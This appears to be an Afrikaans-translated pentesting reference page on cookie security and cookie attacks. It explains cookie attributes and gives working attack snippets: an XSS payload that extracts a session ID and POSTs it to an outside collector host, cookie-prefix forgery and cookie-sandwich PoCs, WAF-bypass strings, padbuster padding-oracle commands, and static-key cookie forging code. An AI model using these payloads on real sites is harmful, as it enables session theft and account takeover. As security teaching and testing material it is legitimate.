Cookies Hacking

Reading time: 22 minutes

Cookie Attributes

Cookies kom met verskeie attributes wat hul gedrag in die gebruiker se blaaier beheer. Hier is 'n oorsig van hierdie attributes in 'n meer passiewe toon:

Expires and Max-Age

Die verstrykingdatum van 'n cookie word bepaal deur die Expires attribute. Omgekeerd definieer die Max-age attribute die tyd in sekondes totdat 'n cookie verwyder word. Kies Max-age aangesien dit meer moderne praktyke weerspieël.

Domain

Die hosts wat 'n cookie moet ontvang word deur die Domain attribute gespesifiseer. Standaard is dit gestel op die host wat die cookie uitgegee het, sonder sy subdomeine. Wanneer die Domain attribute egter eksplisiet gestel word, sluit dit subdomeine ook in. Dit maak die spesifisering van die Domain attribute 'n minder beperkende opsie, nuttig in scenario's waar cookie-deling oor subdomeine nodig is. Byvoorbeeld, die stel van Domain=mozilla.org maak cookies toeganklik op subdomeine soos developer.mozilla.org.

Path

'n Spesifieke URL-pad wat in die aangevraagde URL moet voorkom sodat die Cookie header gestuur word, word deur die Path attribute aangedui. Hierdie attribute beskou die / karakter as 'n gidsskeier, wat toeslae in subgidse moontlik maak.

Ordering Rules

Wanneer twee cookies dieselfde naam dra, word die een wat gestuur word gekies op grond van:

• Die cookie met die langste pad wat by die aangevraagde URL pas.
• Die mees onlangs gestelde cookie as die paadjies identies is.

SameSite

• Die SameSite attribute bepaal of cookies gestuur word op versoeke wat van derdeparty-domeine afkomstig is. Dit bied drie instellings:
• Strict: Voorkom dat die cookie gesend word op derdeparty-versoeke.
• Lax: Laat die cookie toe om met GET-versoeke gestuur te word wat deur derdeparty-webwerwe geïnisieer is.
• None: Laat toe dat die cookie vanaf enige derdeparty-domein gestuur word.

Onthou, by die konfigurasie van cookies kan begrip van hierdie attributes help om te verseker dat hulle soos verwag in verskillende scenario's optree.

Table from Invicti and slightly modified.
'n cookie met SameSite attribute sal CSRF attacks waar 'n aangemelde sessie benodig word, versag.

*Let daarop dat vanaf Chrome80 (feb/2019) die standaardgedrag van 'n cookie sonder 'n cookie samesite attribute sal wees lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Let ook daarop dat tydelik, na die toepassing van hierdie verandering, die cookies sonder 'n SameSite policy in Chrome behandel sal word as None gedurende die eerste 2 minute en daarna as Lax vir top-level cross-site POST request.

Cookies Flags

HttpOnly

Dit verhoed dat die client toegang tot die cookie kry (byvoorbeeld via Javascript: document.cookie)

Bypasses

• As die bladsy die cookies as die response van 'n versoek stuur (byvoorbeeld in 'n PHPinfo blad), is dit moontlik om die XSS te misbruik om 'n versoek na hierdie blad te stuur en die cookies uit die response te steel (kyk 'n voorbeeld in https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Dit kan omseil word met TRACE HTTP versoeke aangesien die response van die bediener (indien hierdie HTTP-metode beskikbaar is) die gestuurde cookies sal weerspieël. Hierdie tegniek word Cross-Site Tracking genoem.
• Moderne browsers voorkom hierdie tegniek deur nie toe te laat dat 'n TRACE versoek vanaf JS gestuur word nie. Sommige omseilings is egter in spesifieke sagteware gevind, soos die stuur van \r\nTRACE in plaas van TRACE na IE6.0 SP2.
• 'n Ander manier is die uitbuiting van zero/day kwesbaarhede in die browsers.
• Dit is moontlik om HttpOnly cookies te oor-skryf deur 'n Cookie Jar overflow attack uit te voer:

Cookie Jar Overflow

• Dit is moontlik om 'n Cookie Smuggling attack te gebruik om hierdie cookies te eksfiltreer
• As enige server-side endpoint die rou session ID in die HTTP response reflekteer (bv. binne HTML comments of 'n debug blok), kan mens HttpOnly omseil deur 'n XSS gadget te gebruik om daardie endpoint te fetsh, die geheim met regex te onttrek, en dit te eksfiltreer. Voorbeeld van 'n XSS payload patroon:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

Die versoek sal die cookie slegs in 'n HTTP-versoek stuur indien die versoek oor 'n veilige kanaal oorgedra word (gewoonlik HTTPS).

Cookies Voorvoegsels

Cookies wat voorafgegaan word deur __Secure- moet saam met die secure vlag vanaf bladsye wat deur HTTPS beveilig is, gestel word.

Vir cookies wat voorafgegaan word deur __Host-, moet verskeie voorwaardes nagekom word:

• Hulle moet gestel word met die secure vlag.
• Hulle moet afkomstig wees van 'n bladsy wat deur HTTPS beveilig is.
• Dit is verbode om 'n domein te spesifiseer, wat hul oordrag na subdomains voorkom.
• Die path vir hierdie cookies moet op / gestel word.

Dit is belangrik om te let dat cookies wat voorafgegaan word deur __Host- nie na superdomeine of subdomeine gestuur mag word nie. Hierdie beperking help om application cookies te isoleer. Dus kan die gebruik van die __Host- voorvoegsel vir alle application cookies as 'n goeie praktyk beskou word om sekuriteit en isolasie te verbeter.

Oorskryf van cookies

Een van die beskermings van __Host- voorafgegaan cookies is om te voorkom dat hulle vanaf subdomeine oorgeskryf word. Dit verhoed byvoorbeeld Cookie Tossing attacks. In die talk Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) word aangevoer dat dit moontlik was om __HOST- voorafgegaan cookies vanaf 'n subdomein te stel deur die parser te bedrieg, byvoorbeeld deur "=" aan die begin of aan die begin en die einde by te voeg...:

Of in PHP was dit moontlik om ander karakters aan die begin van die cookie-naam by te voeg wat deur onderstrepingskarakters vervang sou word, wat dit moontlik gemaak het om __HOST- cookies oor te skryf:

Unicode whitespace cookie-name smuggling (prefix forgery)

Misbruik verskille tussen browser- en serverontleding deur 'n Unicode spasiekodepunt voor die cookie-naam voor te voeg. Die browser sal die naam nie as letterlik beginnende met __Host-/__Secure- beskou nie, dus laat dit toe om vanaf 'n subdomein gestel te word. As die backend leidende Unicode-spasies op cookie-sleutels afknip/normaliseer, sal dit die beskermde naam sien en kan dit die hoë-privilegie cookie oorskryf.

• PoC van 'n subdomein wat parent-domain cookies kan stel:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Tipiese backend-gedrag wat die probleem moontlik maak:

• Frameworks wat cookie-sleutels sny/normaliseer. In Django verwyder Python’s str.strip() 'n wye reeks Unicode-whitespace kodepunte, wat veroorsaak dat die naam genormaliseer word na __Host-name.

• Algemeen afgesnyde kodepunte sluit in: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• Baie frameworks hanteer duplikaat cookie-name as “last wins”, sodat die deur die aanvaller beheerde genormaliseerde cookie-waarde die legitime oor-skryf.

• Blaaier-verskille maak saak:

• Safari blokkeer multibyte Unicode-whitespace in cookie names (bv. verwerp U+2000) maar laat steeds enkel-byte U+0085 en U+00A0 toe, wat baie backends afsny. Toets oor verskeie blaaiers.

• Impak: Maak dit moontlik om __Host-/__Secure- cookies van minder-vertroude kontekste (subdomeine) oor te skryf, wat kan lei tot XSS (as dit weerspieël word), CSRF-token oor-skrywing, en session fixation.

• On-the-wire vs server view voorbeeld (U+2000 teenwoordig in naam):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Baie backends split/parse en daarna trim, wat daartoe lei dat die genormaliseerde __Host-name die aanvaller se waarde aanneem.

Legacy $Version=1 cookie splitting on Java backends (prefix bypass)

Sommige Java stacks (bv. Tomcat/Jetty-style) stel steeds legacy RFC 2109/2965 parsing toe wanneer die Cookie header met $Version=1 begin. Dit kan veroorsaak dat die bediener 'n enkele cookie-string herinterpreteer as verskeie logiese cookies en 'n vervalste __Host- inskrywing aanvaar wat oorspronklik vanaf 'n subdomein of selfs oor 'n onveilige oorsprong gestel is.

• PoC forcing legacy parsing:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Hoekom dit werk:

• Client-side voorvoegselkontroles word tydens die set toegepas, maar server-side legacy parsing skei en normaliseer later die header, wat die bedoeling van die __Host-/__Secure- voorvoegselwaarborge omseil.

• Waar om te probeer: Tomcat, Jetty, Undertow, of frameworks wat steeds RFC 2109/2965-attribuutte eer. Kombineer dit met duplicate-name overwrite semantics.

Duplicate-name last-wins overwrite primitive

Wanneer twee cookies na dieselfde naam genormaliseer word, gebruik baie backends (insluitend Django) die laaste voorkoms. Nadat smuggling/legacy-splitting twee __Host-* name produseer, sal die aanvaller-beheerde een gewoonlik wen.

Detection and tooling

Gebruik Burp Suite om vir hierdie toestande te toets:

• Probeer verskeie voorloop Unicode whitespace-codepunte: U+2000, U+0085, U+00A0 en kyk of die backend die naam afknip en as voorvoegsel behandel.
• Stuur eers $Version=1 in die Cookie header en kontroleer of die backend legacy splitting/normalization uitvoer.
• Observeer duplicate-name resolusie (first vs last wins) deur twee cookies in te voeg wat na dieselfde naam normaliseer.
• Burp Custom Action om dit te outomatiseer: CookiePrefixBypass.bambda

Wenk: Hierdie tegnieke benut RFC 6265 se octet-vs-string gap: browsers stuur bytes; servers decodeer en mag normaliseer/afknip. Ongelykhede in decoding en normalisering is die kern van die omseiling.

Cookies-aanvalle

As 'n custom cookie sensitiewe data bevat, ondersoek dit (veral as jy 'n CTF speel), aangesien dit kwesbaar kan wees.

Dekodeer en manipuleer Cookies

Sensitiewe data wat in cookies ingebed is, moet altyd ondersoek word. Cookies wat in Base64 of soortgelyke formate gekodeer is, kan dikwels gedekodeer word. Hierdie kwesbaarheid stel aanvallers in staat om die inhoud van die cookie te verander en ander gebruikers na te boots deur hulle gemodifiseerde data weer in die cookie te kodifiseer.

Session Hijacking

Hierdie aanval behels die steel van 'n gebruiker se cookie om ongemagtigde toegang tot hul rekening in 'n toepassing te verkry. Deur die gesteelde cookie te gebruik, kan 'n aanvaller die regmatige gebruiker naboots.

Session Fixation

In hierdie scenario mislei 'n aanvaller 'n slagoffer om 'n spesifieke cookie te gebruik om aan te meld. As die toepassing nie 'n nuwe cookie by aanmelding toeken nie, kan die aanvaller, wat die oorspronklike cookie besit, die slagoffer naboots. Hierdie tegniek berus daarop dat die slagoffer met 'n cookie wat deur die aanvaller verskaf is, aanmeld.

As jy 'n XSS in 'n subdomein gevind het of jy beheer 'n subdomein, lees:

Cookie Tossing

Session Donation

Hier oortuig die aanvaller die slagoffer om die aanvaller se sessie-cookie te gebruik. Die slagoffer, wat glo hy is in sy eie rekening aangemeld, sal onbedoeld aksies uitvoer in die konteks van die aanvaller se rekening.

As jy 'n XSS in 'n subdomein gevind het of jy beheer 'n subdomein, lees:

Cookie Tossing

JWT Cookies

Klik op die vorige skakel om 'n bladsy te bereik wat moontlike foute in JWT verduidelik.

JSON Web Tokens (JWT) wat in cookies gebruik word, kan ook kwesbaarhede hê. Vir deeglike inligting oor potensiële foute en hoe om dit uit te buit, word dit aanbeveel om die gekoppelde dokument oor hacking JWT te raadpleeg.

Cross-Site Request Forgery (CSRF)

Hierdie aanval dwing 'n aangemelde gebruiker om ongewenste aksies op 'n webtoepassing uit te voer waaraan hulle tans geverifieer is. Aanvallers kan cookies uitbuit wat outomaties met elke versoek na die kwesbare webwerf gestuur word.

Empty Cookies

(Kyk vir verdere besonderhede in die original research) Blaaiers laat die skep van cookies sonder 'n naam toe, wat deur JavaScript soos volg gedemonstreer kan word:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Die resultaat in die gestuurde cookie header is a=v1; test value; b=v2;. Intrigerend genoeg maak dit die manipulering van cookies moontlik as 'n cookie met 'n leë naam gestel word, en kan dit ander cookies beheer deur die leë cookie op 'n spesifieke waarde te stel:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Dit lei daartoe dat die blaaier 'n cookie header stuur wat deur elke webbediener geïnterpreteer word as 'n cookie met die naam a met die waarde b.

Chrome-bug: Unicode-surrogaat-kodepunt-kwessie

In Chrome, indien 'n Unicode-surrogaat-kodepunt deel is van 'n set cookie, raak document.cookie gekorrumpeerd en gee daarna 'n leë string terug:

document.cookie = "\ud800=meep"

Dit lei daartoe dat document.cookie 'n leë string teruggee, wat permanente korrupsie aandui.

Cookie Smuggling as gevolg van parsing-kwessies

(Kyk verdere besonderhede in die original research) Verskeie webbedieners, insluitend dié van Java (Jetty, TomCat, Undertow) en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), hanteer cookie-stringe verkeerd as gevolg van verouderde RFC2965-ondersteuning. Hulle lees 'n dubbel-geciteerde cookie-waarde as 'n enkele waarde, selfs al bevat dit puntekommas, wat normaalweg sleutel-waarde-pare van mekaar moet skei:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Check further details in theoriginal research) Die onjuiste ontleding van cookies deur servers, veral Undertow, Zope, en dié wat Python's http.cookie.SimpleCookie en http.cookie.BaseCookie gebruik, skep geleenthede vir cookie injection attacks. Hierdie servers slaag nie daarin om die begin van nuwe cookies behoorlik te delimiteer nie, wat aanvalle toelaat om cookies te spoof:

• Undertow verwag 'n nuwe cookie onmiddellik na 'n aangehaalde waarde sonder 'n semikolon.
• Zope soek 'n komma om te begin ontleed van die volgende cookie.
• Python's cookie classes begin ontleding op 'n spasieteken.

Hierdie kwetsbaarheid is besonders gevaarlik in web applications wat op cookie-based CSRF protection staatmaak, aangesien dit aanvalle toelaat om gespoofte CSRF-token cookies te inject, wat moontlik veiligheidsmaatreëls kan omseil. Die probleem word vererger deur Python se hantering van duplicate cookie names, waar die laaste voorkoms vroeëre een oorskryf. Dit wek ook kommer oor __Secure- en __Host- cookies in onveilige kontekste en kan lei tot authorization bypasses wanneer cookies aan back-end servers deurgegee word wat vatbaar is vir spoofing.

Cookies $version

WAF Bypass

According to this blogpost, dit kan moontlik wees om die cookie-attribuut $Version=1 te gebruik sodat die backend 'n ou logika gebruik om die cookie te parse as gevolg van die RFC2109. Verder kan ander waardes soos $Domain en $Path gebruik word om die gedrag van die backend met die cookie te wysig.

Cookie Sandwich Attack

According to this blogpost dit is moontlik om die cookie sandwich technique te gebruik om HttpOnly cookies te steel. Hierdie is die vereistes en stappe:

• Vind 'n plek waar 'n skynbaar nuttelose cookie is refected in the response
• Create a cookie called $Version met waarde 1 (you can do this in a XSS attack from JS) met 'n meer spesifieke pad sodat dit die aanvanklike posisie kry (sommige frameworks soos python het hierdie stap nie nodig nie)
• Create the cookie that is reflected met 'n waarde wat 'n oop dubbel aanhalingsteken laat en met 'n spesifieke pad sodat dit in die cookie db na die vorige een ($Version) geposisioneer word
• Dan sal die legitieme cookie volgende in die volgorde wees
• Create a dummy cookie that closes the double quotse binne sy waarde

Op hierdie manier word die victim cookie gevang binne die nuwe cookie version 1 en sal dit gereflekteer word wanneer dit gereflekteer word. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Kyk na die vorige afdeling.

Bypassing value analysis with quoted-string encoding

Hierdie parsing dui aan dat ontsnapte waardes binne die cookies gedekodeer word, so "\a" word "a". Dit kan nuttig wees om WAFS te omseil soos:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

In the RFC2109 it's indicated that a comma can be used as a separator between cookie values. And also it's possible to add spaces and tabs before an after the equal sign. Therefore a cookie like $Version=1; foo=bar, abc = qux doesn't generate the cookie "foo":"bar, admin = qux" but the cookies foo":"bar" and "admin":"qux". Notice how 2 cookies are generated and how admin got removed the space before and after the equal sign.

Bypassing value analysis with cookie splitting

Uiteindelik sal verskillende backdoors verskillende cookies wat in verskillende cookie headers gestuur is, in een string saamvoeg, soos in:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Wat dit moontlik kan maak om 'n WAF te bypass, soos in hierdie voorbeeld:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Ekstra Kwesbare Cookies Kontroles

Basiese kontroles

• Die cookie is dieselfde elke keer wat jy login.
• Log out en probeer dieselfde cookie gebruik.
• Probeer om met 2 devices (of browsers) na dieselfde account te log in terwyl jy dieselfde cookie gebruik.
• Kyk of die cookie enige inligting bevat en probeer dit wysig
• Probeer om verskeie accounts te skep met byna dieselfde username en kyk of jy ooreenkomste sien.
• Kyk na die "remember me" opsie indien dit bestaan om te sien hoe dit werk. As dit bestaan en kwesbaar kan wees, gebruik altyd die cookie van remember me sonder enige ander cookie.
• Kyk of die vorige cookie nog werk selfs nadat jy die wagwoord verander het.

Gevorderde cookies-aanvalle

As die cookie dieselfde bly (of byna) wanneer jy log in, beteken dit waarskynlik dat die cookie verband hou met 'n veld van jou account (waarskynlik die username). Dan kan jy:

• Probeer om baie accounts te skep met usernames wat baie soortgelyk is en probeer raai hoe die algoritme werk.
• Probeer om die bruteforce the username. As die cookie slegs as 'n authentication method vir jou username gestoor word, kan jy 'n account skep met username "Bmin" en elke enkele bit van jou cookie bruteforce, omdat een van die cookies wat jy sal probeer die een sal wees wat aan "admin" behoort.
• Probeer Padding Oracle (jy kan die inhoud van die cookie ontsleutel). Gebruik padbuster.

Padding Oracle - Padbuster voorbeelde

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster sal verskeie pogings doen en jou vra watter toestand die fouttoestand is (die een wat nie geldig is nie).

Dan sal dit begin decrypting die cookie (dit kan 'n paar minute neem)

As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te encrypt. Byvoorbeeld, as jy encrypt user=administrator wil hê

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Hierdie uitvoering sal jou die cookie korrek geënkripteer en gekodeer gee met die string user=administrator binne.

CBC-MAC

Miskien kan 'n cookie 'n waarde hê en onderteken word met CBC. Dan is die integriteit van die waarde die handtekening wat geskep word deur CBC met daardie selfde waarde. Aangesien dit aanbeveel word om as IV 'n null vector te gebruik, kan hierdie tipe integriteitskontrole kwesbaar wees.

Die aanval

1. Kry die handtekening van username administ = t
2. Kry die handtekening van username rator\x00\x00\x00 XOR t = t'
3. Stel in die cookie die waarde administrator+t' (t' sal 'n geldige handtekening wees van (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

As die cookie met ECB geënkripteer is, kan dit kwesbaar wees. Wanneer jy aanmeld, moet die cookie wat jy ontvang altyd dieselfde wees.

Hoe om te ontdek en aan te val:

• Skep 2 users met byna dieselfde data (username, password, email, ens.) en probeer 'n patroon in die gegewe cookie ontdek
• Skep byvoorbeeld 'n user met die naam "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" en kyk of daar 'n patroon in die cookie is (aangesien ECB met dieselfde sleutel elke blok enkripteer, kan dieselfde geënkripteerde bytes verskyn as die username geënkripteer is).
• Daar behoort 'n patroon te wees (met die grootte van 'n gebruikte blok). Dus, as jy weet hoe 'n klomp "a" geënkripteer word, kan jy 'n username skep: "a"*(size of the block)+"admin". Dan kan jy die geënkripteerde patroon van 'n blok "a" uit die cookie verwyder. En jy sal die cookie van die username "admin" hê.

Static-key cookie forgery (symmetric encryption of predictable IDs)

Sommige toepassings genereer authentication cookies deur slegs 'n voorspelbare waarde (bv. die numeriese user ID) te enkripteer onder 'n globale, hard-coded symmetric key, en dan die ciphertext te enkodeer (hex/base64). As die key staties is per produk (of per installasie), kan enigiemand cookies forgeer vir ewekansige users offline en authentication omseil.

How to test/forge

• Identifiseer die cookie(s) wat auth beheer, bv. COOKIEID en ADMINCOOKIEID.
• Bepaal cipher/encoding. In een werklike geval het die app IDEA met 'n konstante 16-byte key gebruik en die ciphertext as hex teruggestuur.
• Verifieer deur jou eie user ID te enkripteer en met die uitgereikte cookie te vergelyk. As dit ooreenstem, kan jy cookies mint vir enige teiken-ID (1 skakel dikwels na die eerste admin).
• Stel die vervalste waarde direk as die cookie en blaai; geen credentials word benodig.

import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}

Verwysings

• When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
• Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
• Burp Custom Action – CookiePrefixBypass.bambda